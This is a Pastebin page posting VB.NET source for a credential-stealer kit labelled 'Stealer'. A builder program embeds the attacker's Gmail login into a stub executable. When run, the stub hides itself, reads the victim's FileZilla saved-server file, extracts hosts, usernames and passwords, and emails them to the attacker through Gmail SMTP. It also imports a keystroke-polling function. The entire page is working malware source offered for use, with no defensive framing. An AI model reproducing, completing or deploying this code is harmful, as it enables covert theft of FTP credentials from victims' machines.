Advertisement
aDnCollin

Stealer

Oct 28th, 2011
818
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 4.89 KB | None | 0 0
  1. ' By Haunui Collin "aDn"
  2. Soft:
  3.  
  4. Option Explicit On
  5. Imports System.Text
  6. Imports System.IO
  7. Imports System.Net.Mail
  8. Public Class Form1
  9.     Dim dialog As New OpenFileDialog
  10.     Dim stub, text1, text2 As String
  11.     Const FileSplit = "@aDnStealerPasteBin@"
  12.  
  13.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  14.         text1 = TextBox1.Text
  15.         text2 = TextBox2.Text
  16.  
  17.         FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  18.         stub = Space(LOF(1))
  19.         FileGet(1, stub)
  20.         FileClose(1)
  21.         If File.Exists("Server.exe") Then
  22.             My.Computer.FileSystem.DeleteFile("Server.exe")
  23.         End If
  24.         FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  25.         FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
  26.         FileClose(1)
  27.  
  28.  
  29.     End Sub
  30.  
  31.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  32.         Dim smtpServer As New SmtpClient()
  33.         Dim mail As New MailMessage
  34.         ProgressBar1.Value = 10
  35.         smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
  36.         'using gmail  
  37.         ProgressBar1.Value = 20
  38.         smtpServer.Port = 587
  39.         smtpServer.Host = "smtp.gmail.com"
  40.         ProgressBar1.Value = 35
  41.         smtpServer.EnableSsl = True
  42.         mail = New MailMessage
  43.         ProgressBar1.Value = 50
  44.         mail.From = New MailAddress(TextBox1.Text)
  45.         mail.To.Add(TextBox1.Text)
  46.         ProgressBar1.Value = 70
  47.         mail.Subject = (TextBox1.Text)
  48.         mail.Body = ("Testing Gmail was Successful.Build your server now!")
  49.         ProgressBar1.Value = 90
  50.         smtpServer.Send(mail)
  51.         ProgressBar1.Value = 100
  52.         MsgBox("Message has been sent. Check your Gmail.")
  53.     End Sub
  54.  
  55. End Class
  56.  
  57. __________________
  58.  
  59. Stub:
  60.  
  61. Option Explicit On
  62. Imports System.Collections.Generic
  63. Imports System.Text
  64. Imports System.Security.Cryptography
  65. Imports System.IO
  66. Imports System.Net
  67. Imports Microsoft.Win32
  68. Imports System.Net.Mail
  69. Imports System.Runtime.InteropServices
  70.  
  71.  
  72. Public Class Form1
  73.     Dim filezillaPass As String = ShoitZilla()
  74.     Dim result As Integer
  75.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  76.     Dim options(), text1, text2 As String
  77.     Const FileSplit = "@aDnStealerPasteBin@"
  78.     Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
  79.     Dim vDirectory As String
  80.  
  81.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  82.         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  83.         text1 = Space(LOF(1))
  84.         text2 = Space(LOF(1))
  85.         FileGet(1, text1)
  86.         FileGet(1, text2)
  87.         FileClose(1)
  88.         options = Split(text1, FileSplit)
  89.         TextBox1.Text = options(1)
  90.         TextBox2.Text = options(2)
  91.  
  92.  
  93.         Me.Hide()
  94.         Me.Visible = False
  95.         Dim nl As String = vbNewLine
  96.         Dim MailSetup As New MailMessage
  97.         MailSetup.Subject = My.Computer.Name & ":"
  98.         MailSetup.To.Add(TextBox1.Text)
  99.         MailSetup.From = New MailAddress(TextBox1.Text)
  100.         MailSetup.Body = filezillaPass
  101.         Dim SMTP As New SmtpClient("smtp.gmail.com")
  102.         SMTP.Port = 587
  103.         SMTP.EnableSsl = True
  104.         SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
  105.         SMTP.Send(MailSetup)
  106.     End Sub
  107.  
  108.     Function ShoitZilla() As String
  109.         On Error Resume Next
  110.         Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
  111.         Dim FileBuffer As String = vbNull
  112.         Dim NL As String = vbNewLine
  113.         FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
  114.         Dim str As String
  115.         Dim Output As String = Nothing
  116.         Dim TempData() As String
  117.         TempData = FileBuffer.Split(vbCrLf)
  118.         FileBuffer = Nothing
  119.         For Each str In TempData
  120.             If str.Contains("</Host>") Then
  121.                 str.Replace("<Host>", "").Replace("</Host>", "")
  122.                 Output = Output & "Host : " & str & NL
  123.             End If
  124.             If str.Contains("</User>") Then
  125.                 str.Replace("<User>", "").Replace("</User>", "")
  126.                 Output = Output & "Username : " & str & NL
  127.             End If
  128.             If str.Contains("</Pass>") Then
  129.                 str.Replace("<Pass>", "").Replace("</Pass>", "")
  130.                 Output = Output & "Password : " & str & NL & NL
  131.             End If
  132.         Next
  133.         Output = Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "")
  134.         ShoitZilla = Output
  135.     End Function
  136.  
  137. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement